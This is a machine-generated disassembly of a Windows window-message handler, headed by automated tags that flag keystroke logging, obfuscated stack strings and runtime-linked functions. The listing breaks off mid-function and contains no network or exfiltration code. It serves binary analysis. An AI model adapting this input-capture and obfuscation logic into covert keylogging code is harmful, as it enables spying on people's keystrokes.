Function at 0x100b4170
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Log keystrokes
Log keystrokes via polling

Disassembly:
sub esp, 0x644
mov eax, dword [0x101ad3b4]
xor eax, esp
mov dword [esp + 0x640], eax
mov eax, dword [esp + 0x648]
push ebx
mov ebx, dword [esp + 0x658]
push ebp
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0x65c]
xor ebp, ebp
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp edi, 0x7e9
mov dword [esp + 0x18], eax
jne 0x100b4272
cmp dword [esp + 0x660], 0x1234
jne 0x100b4272
push 0xff
lea ecx, [esp + 0x455]
push ebp
push ecx
mov byte [esp + 0x45c], 0
call fcn.100f6b80
mov edx, dword [esp + 0x24]
add esp, 0xc
push edx
push 2
call fcn.100d0fd0
add esp, 4
push eax
lea eax, [esp + 0x458]
push eax
call fcn.100f7960
add esp, 0xc
lea ecx, [esp + 0x450]
push ecx
push ebp
push 0xf001f
call fcn.100a96a0
mov esi, eax
test esi, esi
mov dword [esp + 0x3c], esi
je 0x100b4253
push ebp
push ebp
push ebp
push 6
push esi
call fcn.100a9650
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x38], ebp
jne 0x100b4270
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x650]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100f611a
add esp, 0x644
ret 0x14
xor esi, esi
call fcn.100bb3c0
cmp eax, esi
jbe 0x100b435a
nop
cmp eax, 1
jne 0x100b428f
call fcn.100bef50
jmp 0x100b434d
cmp eax, 2
jne 0x100b429e
call fcn.100bee30
jmp 0x100b434d
cmp eax, 3
jne 0x100b42ad
call fcn.100beec0
jmp 0x100b434d
cmp eax, 4
jne 0x100b42bc
call fcn.100c4b80
jmp 0x100b434d
cmp eax, 5
jne 0x100b42cb
call fcn.100c4bd0
jmp 0x100b434d
cmp eax, 6
jne 0x100b42d7
call fcn.100c36d0
jmp 0x100b434d
cmp eax, 7
jne 0x100b42e3
call fcn.100c3720
jmp 0x100b434d
cmp eax, 8
jne 0x100b42ef
call fcn.100c0e40
jmp 0x100b434d
cmp eax, 9
jne 0x100b42fb
call fcn.100c4c20
jmp 0x100b434d
cmp eax, 0xa
jne 0x100b4307
call fcn.100c4c70
jmp 0x100b434d
cmp eax, 0xb
jne 0x100b4313
call fcn.100c3770
jmp 0x100b434d
cmp eax, 0xc
jne 0x100b431f
call fcn.100c37c0
jmp 0x100b434d
cmp eax, 0xd
jne 0x100b432b
call fcn.100c1430
jmp 0x100b434d
cmp eax, 0xe
jne 0x100b4337
call fcn.100c14c0
jmp 0x100b434d
cmp eax, 0xf
jne 0x100b4343
call fcn.100beff0
jmp 0x100b434d
cmp eax, 0x10
jne 0x100b434d
call fcn.100bf0a0
call fcn.100bb3c0
cmp eax, esi
ja 0x100b4280
mov eax, dword [0x10199658]
mov esi, eax
test esi, esi
jne 0x100b4398
cmp dword [0x1019965c], eax
je 0x100b4398
cmp edi, 6
je 0x100b4393
cmp edi, 0x1c
je 0x100b4393
cmp edi, 0x86
je 0x100b4393
cmp edi, 8
je 0x100b4393
cmp edi, 0x46
je 0x100b4393
cmp edi, 0x47
je 0x100b4393
cmp edi, 0x18
jne 0x100b4398
mov esi, 1
test eax, eax
jne 0x100b43d5
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov edx, eax
sub edx, dword [0x102c32f4]
cmp edx, 0xbb8
jb 0x100b43d5
push 1
mov dword [0x102c32f4], eax
mov dword [0x10199660], 0
call fcn.100bb460
add esp, 4
mov dword [0x10199660], 1
call fcn.101499f0
cmp edi, 0x8b0
jb 0x100b4418
cmp edi, 0x8ba
jae 0x100b4420
mov eax, dword [esp + 0x660]
mov ecx, dword [esp + 0x20]
push ebx
push eax
push ecx
push edi
call fcn.100cd9a0
test eax, eax
je 0x100b722a
mov eax, 1
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x8ba
jb 0x100b443e
cmp edi, 0x8bf
jae 0x100b443e
mov edx, dword [esp + 0x660]
mov eax, dword [esp + 0x20]
push ebx
push edx
push eax
push edi
call fcn.1000bab0
jmp 0x100b43fe
xor ecx, ecx
cmp esi, ecx
jne 0x100b4489
cmp edi, 0x84e
jne 0x100b722a
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov ecx, ebx
and ecx, eax
and ebx, 0x8000
mov dword [0x10199658], ecx
mov dword [0x1019965c], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 0x84e
jne 0x100b44ca
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov eax, 1
mov edx, ebx
and edx, eax
and ebx, 0x8000
mov dword [0x10199658], edx
mov dword [0x1019965c], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jmp 0x100b722a
cmp edi, 6
jne 0x100b450b
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov eax, dword [esp + 0x660]
mov ecx, dword [esp + 0x20]
push ebx
push eax
push edi
push ecx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x1c
jne 0x100b454c
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov edx, dword [esp + 0x660]
mov eax, dword [esp + 0x20]
push ebx
push edx
push edi
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x86
jne 0x100b457b
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
jmp 0x100b4253
cmp edi, 8
jne 0x100b45bc
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov ecx, dword [esp + 0x660]
mov edx, dword [esp + 0x20]
push ebx
push ecx
push edi
push edx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x46
jne 0x100b45fd
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov eax, dword [esp + 0x660]
mov ecx, dword [esp + 0x20]
push ebx
push eax
push edi
push ecx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x47
jne 0x100b463e
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov edx, dword [esp + 0x660]
mov eax, dword [esp + 0x20]
push ebx
push edx
push edi
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x18
jne 0x100b467f
push 0x596235d2
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov ecx, dword [esp + 0x660]
mov edx, dword [esp + 0x20]
push ebx
push ecx
push edi
push edx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0x215
jne 0x100b4691
push 0x7fae1452
jmp 0x100b4559
cmp edi, 0x84
jne 0x100b47bd
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x430]
mov eax, ebx
push ecx
shr eax, 0x10
push edi
movsx esi, bx
movsx ebp, ax
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [esp + 0x438]
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x440]
push edi
mov edi, dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], eax
call edi
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x28]
push edx
push eax
call edi
cmp esi, dword [esp + 0x18]
jl 0x100b479f
cmp esi, dword [esp + 0x28]
jge 0x100b479f
cmp ebp, dword [esp + 0x1c]
jl 0x100b479f
cmp ebp, dword [esp + 0x2c]
jge 0x100b479f
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4736
cmp dword [0x102c2ac4], eax
je 0x100b474e
cmp dword [0x102c2adc], 0
jne 0x100b474e
mov ebx, dword [0x102c2a94]
mov dword [esp + 0x664], ebx
jmp 0x100b475f
movzx ecx, bp
movzx edx, si
shl ecx, 0x10
or ecx, edx
mov dword [0x102c2a94], ecx
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov eax, dword [esp + 0x660]
mov ecx, dword [esp + 0x20]
push ebx
push eax
push 0x84
push ecx
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
mov edx, dword [esp + 0x660]
mov eax, dword [esp + 0x20]
push ebx
push edx
push 0x84
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
jmp 0x100b4255
cmp edi, 0xa0
je 0x100b71c3
cmp edi, 0xa1
je 0x100b71c3
cmp edi, 0xa2
je 0x100b71c3
cmp edi, 0xa3
je 0x100b71c3
cmp edi, 0xa4
je 0x100b71c3
cmp edi, 0xa5
je 0x100b71c3
cmp edi, 0xa6
je 0x100b71c3
cmp edi, 0xa7
je 0x100b71c3
cmp edi, 0xa8
je 0x100b71c3
cmp edi, 0xa9
je 0x100b71c3
cmp edi, 0x200
jne 0x100b48fe
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b48be
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4867
cmp dword [0x102c2ac4], eax
je 0x100b487d
cmp dword [0x102c2adc], 0
jne 0x100b487d
test dword [esp + 0x660], edi
je 0x100b4253
movsx ecx, bx
shr ebx, 0x10
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
movsx edx, bx
push eax
push ecx
mov dword [esp + 0x24], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
cmp dword [0x102c2ad4], 0
jne 0x100b48be
movzx edx, word [esp + 0x1c]
movzx eax, word [esp + 0x18]
shl edx, 0x10
or edx, eax
mov dword [0x102c2a94], edx
test dword [esp + 0x660], edi
jne 0x100b48e1
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b48e1
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x200
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x201
jne 0x100b49fe
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b49be
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4934
cmp dword [0x102c2ac4], eax
je 0x100b494a
cmp dword [0x102c2adc], 0
jne 0x100b494a
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4963
cmp dword [0x102c2ac4], eax
je 0x100b49a9
cmp dword [0x102c2adc], 0
jne 0x100b49a9
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b49e1
push 0
push 0
call fcn.100c4e60
add esp, 8
test dword [esp + 0x660], edi
jne 0x100b49e1
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b49e1
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x201
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x202
jne 0x100b4afe
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4abe
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4a34
cmp dword [0x102c2ac4], eax
je 0x100b4a4a
cmp dword [0x102c2adc], 0
jne 0x100b4a4a
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4a63
cmp dword [0x102c2ac4], eax
je 0x100b4aa9
cmp dword [0x102c2adc], 0
jne 0x100b4aa9
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4ae1
push 0
push 0
call fcn.100c4e90
add esp, 8
test dword [esp + 0x660], edi
jne 0x100b4ae1
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b4ae1
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x202
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x203
jne 0x100b4bdc
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4ba9
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4b34
cmp dword [0x102c2ac4], eax
je 0x100b4b4a
cmp dword [0x102c2adc], 0
jne 0x100b4b4a
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4b63
cmp dword [0x102c2ac4], eax
je 0x100b4ba9
cmp dword [0x102c2adc], 0
jne 0x100b4ba9
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4bcc
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b4bcc
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
jmp 0x100b722a
cmp edi, 0x204
jne 0x100b4cdc
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4c9c
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4c12
cmp dword [0x102c2ac4], eax
je 0x100b4c28
cmp dword [0x102c2adc], 0
jne 0x100b4c28
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4c41
cmp dword [0x102c2ac4], eax
je 0x100b4c87
cmp dword [0x102c2adc], 0
jne 0x100b4c87
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4cbf
push 0
push 1
call fcn.100c4e60
add esp, 8
test dword [esp + 0x660], edi
jne 0x100b4cbf
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b4cbf
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x204
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x205
jne 0x100b4ddc
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4d9c
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4d12
cmp dword [0x102c2ac4], eax
je 0x100b4d28
cmp dword [0x102c2adc], 0
jne 0x100b4d28
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4d41
cmp dword [0x102c2ac4], eax
je 0x100b4d87
cmp dword [0x102c2adc], 0
jne 0x100b4d87
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4dbf
push 0
push 1
call fcn.100c4e90
add esp, 8
test dword [esp + 0x660], edi
jne 0x100b4dbf
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b4dbf
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x205
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x207
jne 0x100b4ea5
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4ba9
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4e12
cmp dword [0x102c2ac4], eax
je 0x100b4e28
cmp dword [0x102c2adc], 0
jne 0x100b4e28
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4e41
cmp dword [0x102c2ac4], eax
je 0x100b4e87
cmp dword [0x102c2adc], 0
jne 0x100b4e87
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4bcc
push 0
push 2
call fcn.100c4e60
add esp, 8
jmp 0x100b4ba9
cmp edi, 0x208
jne 0x100b4f6e
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4ba9
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4edb
cmp dword [0x102c2ac4], eax
je 0x100b4ef1
cmp dword [0x102c2adc], 0
jne 0x100b4ef1
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4f0a
cmp dword [0x102c2ac4], eax
je 0x100b4f50
cmp dword [0x102c2adc], 0
jne 0x100b4f50
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx edx, ax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x102c2aa0]
push eax
push ecx
mov dword [esp + 0x24], edx
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx edx, word [esp + 0x18]
shl eax, 0x10
or eax, edx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b4bcc
push 0
push 2
call fcn.100c4e90
add esp, 8
jmp 0x100b4ba9
cmp edi, 0x20a
jne 0x100b5038
cmp dword [0x102c2aa0], ecx
mov edi, 0x8000
je 0x100b4ff8
push 0x5e1c1dfb
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4fa0
cmp dword [0x102c2ac4], eax
je 0x100b4fb6
cmp dword [0x102c2adc], 0
jne 0x100b4fb6
test dword [esp + 0x660], edi
je 0x100b4253
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b4fcf
cmp dword [0x102c2ac4], eax
je 0x100b4ff8
cmp dword [0x102c2adc], 0
jne 0x100b4ff8
mov eax, dword [0x102c2a94]
movsx ecx, ax
shr eax, 0x10
movsx eax, ax
movzx eax, ax
movzx ecx, cx
shl eax, 0x10
or eax, ecx
mov dword [esp + 0x664], eax
test dword [esp + 0x660], edi
jne 0x100b501b
push 0
call fcn.100c1ee0
add esp, 4
test eax, eax
jne 0x100b501b
cmp dword [0x102c2ad4], eax
je 0x100b4253
and dword [esp + 0x660], 0xffff7fff
push 0x20a
call fcn.100b3df0
add esp, 4
jmp 0x100b722a
cmp edi, 0x2a3
jne 0x100b50d2
cmp dword [0x102c2aa0], ecx
je 0x100b722a
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b506d
cmp dword [0x102c2ac4], eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov eax, dword [0x102c2a94]
movsx edx, ax
shr eax, 0x10
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], edx
mov edx, dword [0x102c2aa0]
movsx eax, ax
push ecx
push edx
mov dword [esp + 0x664], 0x2a1
mov dword [esp + 0x668], 0
mov dword [esp + 0x24], eax
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx ecx, word [esp + 0x18]
shl eax, 0x10
or eax, ecx
mov dword [esp + 0x664], eax
jmp 0x100b722a
cmp edi, 0x2a2
jne 0x100b516c
cmp dword [0x102c2aa0], ecx
je 0x100b722a
push 0x592629e2
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b5107
cmp dword [0x102c2ac4], eax
je 0x100b722a
cmp dword [0x102c2adc], 0
jne 0x100b722a
mov eax, dword [0x102c2a94]
movsx edx, ax
shr eax, 0x10
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], edx
mov edx, dword [0x102c2aa0]
movsx eax, ax
push ecx
push edx
mov dword [esp + 0x664], 0x2a1
mov dword [esp + 0x668], 0
mov dword [esp + 0x24], eax
call fcn.100b9250
movzx eax, word [esp + 0x1c]
movzx ecx, word [esp + 0x18]
shl eax, 0x10
or eax, ecx
mov dword [esp + 0x664], eax
jmp 0x100b722a
cmp edi, 0x100
jne 0x100b51ad
test ebx, 0x4000000
jne 0x100b518e
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
and ebx, 0xfbffffff
push 0x100
mov dword [esp + 0x668], ebx
call fcn.100b3d80
add esp, 4
jmp 0x100b722a
cmp edi, 0x101
jne 0x100b51ee
test ebx, 0x4000000
jne 0x100b51cf
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
and ebx, 0xfbffffff
push 0x101
mov dword [esp + 0x668], ebx
call fcn.100b3d80
add esp, 4
jmp 0x100b722a
cmp edi, 0x104
jne 0x100b522f
test ebx, 0x4000000
jne 0x100b5210
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
and ebx, 0xfbffffff
push 0x104
mov dword [esp + 0x668], ebx
call fcn.100b3d80
add esp, 4
jmp 0x100b722a
cmp edi, 0x105
jne 0x100b5270
test ebx, 0x4000000
jne 0x100b5251
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
and ebx, 0xfbffffff
push 0x105
mov dword [esp + 0x668], ebx
call fcn.100b3d80
add esp, 4
jmp 0x100b722a
cmp edi, 0x106
jne 0x100b52a4
test ebx, 0x4000000
jne 0x100b5292
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
and ebx, 0xfbffffff
mov dword [esp + 0x664], ebx
jmp 0x100b722a
cmp edi, 0x102
jne 0x100b532b
mov al, byte [esp + 0x660]
cmp al, 0x76
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edi, 0x8000
je 0x100b52c6
cmp al, 0x56
jne 0x100b52d3
push 0x11
call esi
test di, ax
jne 0x100b4253
cmp dword [0x102c3308], 0
je 0x100b52f6
test ebx, 0x4000000
jne 0x100b52f6
push 1
call fcn.100c1ee0
add esp, 4
test eax, eax
je 0x100b4253
push 0x10
call esi
test di, ax
je 0x100b5319
mov edx, dword [esp + 0x660]
push edx
call fcn.100c1730
movsx eax, al
add esp, 4
mov dword [esp + 0x660], eax
and ebx, 0xfbffffff
mov dword [esp + 0x664], ebx
jmp 0x100b722a
cmp edi, 0x7e9
jne 0x100b54d1
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
call fcn.100b3e90
xor esi, esi
cmp dword [ebp + 0x1000424], esi
jbe 0x100b5379
lea edi, [ebp + 0x1000024]
lea ecx, [ecx]
push edi
mov ecx, 0x102c3374
call fcn.100633d0
add esi, 1
add edi, 4
cmp esi, dword [ebp + 0x1000424]
jb 0x100b5360
push 0x400
lea ecx, [ebp + 0x1000024]
push 0
push ecx
call fcn.100f6b80
push ebp
call fcn.100be6a0
add esp, 0x10
test eax, eax
je 0x100b53f0
push ebp
call fcn.100c0c30
add esp, 4
test eax, eax
je 0x100b53f0
push ebp
call fcn.100be210
add esp, 4
test eax, eax
je 0x100b53f0
push ebp
call fcn.100ba330
add esp, 4
test eax, eax
je 0x100b53f0
push ebp
call fcn.100c1f90
add esp, 4
test eax, eax
je 0x100b53f0
push ebp
call fcn.100be510
add esp, 4
test eax, eax
je 0x100b53f0
push ebp
call fcn.100c1250
add esp, 4
test eax, eax
je 0x100b53f0
mov ebx, 1
mov ebp, ebx
jmp 0x100b53f5
xor ebp, ebp
lea ebx, [ebp + 1]
push 0x3f1c98f9
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b540c
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0x6f4b12d3
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b5422
call fcn.100a8370
push 0x6a5a450a
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b5439
mov dword [0x102c2aec], ebx
push 0x7d877e7a
call fcn.100b9fb0
add esp, 4
test eax, eax
je 0x100b5450
mov dword [0x102c32f0], ebx
mov eax, dword [esp + 0x38]
lea esi, [eax + 0x1000474]
mov ecx, 8
mov edi, 0x102c2898
rep movsd dword es:[edi], dword [esi]
lea esi, [eax + 0x1000494]
mov ecx, 8
mov edi, 0x102c2a70
rep movsd dword es:[edi], dword [esi]
call fcn.100b3d40
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
xor esi, esi
cmp ebp, esi
mov dword [0x102c3354], eax
mov dword [0x10199660], esi
je 0x100b54a5
push esi
call fcn.100bb460
add esp, 4
test eax, eax
mov dword [esp + 0x10], ebx
jne 0x100b54a9
mov dword [esp + 0x10], esi
push 0x4000
push esi
push 0x102be898
mov dword [0x10199660], ebx
mov dword [esp + 0x20], ebx
call fcn.100f6b80
add esp, 0xc
mov dword [0x102c2abc], esi
jmp 0x100b722a
cmp edi, 0x7ea
jne 0x100b5508
cmp dword [esp + 0x660], 0x1234
jne 0x100b722a
mov edx, dword [esp + 0x20]
push edx
call fcn.100b40d0
add esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
jmp 0x100b722a
cmp edi, 0x837
jne 0x100b5b8c
mov ebx, dword [esp + 0x660]
mov esi, ebx
mov eax, ebx
and eax, 0x80
shr esi, 0x10
xor ebp, ebp
and ebx, 0x40
test byte [esp + 0x660], 1
mov dword [esp + 0x28], eax
je 0x100b553f
mov ebp, 1
cmp esi, 2
ja 0x100b722a
cmp dword [esp + 0x664], 0
jl 0x100b722a
cmp dword [esp + 0x664], 0xff
jg 0x100b722a
mov eax, dword [esp + 0x664]
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov ecx, dword [esp + 0x664]
mov edi, eax
shl edi, 0x10
or edi, 1
push ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x18], edi
call fcn.1004b7e0
add esp, 4
test eax, eax
je 0x100b55a5
or edi, 0x1000000
mov dword [esp + 0x14], edi
cmp esi, 1
jne 0x100b55f0
test ebp, ebp
jne 0x100b55cf
cmp dword [esp + 0x664], 0x79
je 0x100b55cf
mov edx, dword [esp + 0x664]
push edx
mov dword [esp + 0x14], 0x100
call fcn.100c4f10
jmp 0x100b563c
mov edx, dword [esp + 0x664]
or edi, 0x20000000
push edx
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], 0x104
call fcn.100c4f10
jmp 0x100b563c
test ebp, ebp
jne 0x100b5612
cmp dword [esp + 0x664], 0x79
je 0x100b5612
or edi, 0xc0000000
mov dword [esp + 0x10], 0x101
mov dword [esp + 0x14], edi
jmp 0x100b562a
or edi, 0x20000000
or edi, 0xc0000000
mov dword [esp + 0x10], 0x105
mov dword [esp + 0x14], edi
cmp esi, 2
jne 0x100b563f
mov eax, dword [esp + 0x664]
push eax
call fcn.100c4f50
add esp, 4
test ebx, ebx
je 0x100b5649
xor edi, edi
mov dword [esp + 0x14], edi
call fcn.100b8590
mov ebx, dword [esp + 0x20]
mov esi, eax
test esi, esi
mov dword [esp + 0x24], esi
jne 0x100b5669
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
mov esi, ebx
mov dword [esp + 0x24], esi
push 0x797a779e
call fcn.100b9fb0
add esp, 4
test eax, eax
jne 0x100b5680
mov esi, ebx
mov dword [esp + 0x24], esi
cmp dword [0x102c2adc], 0
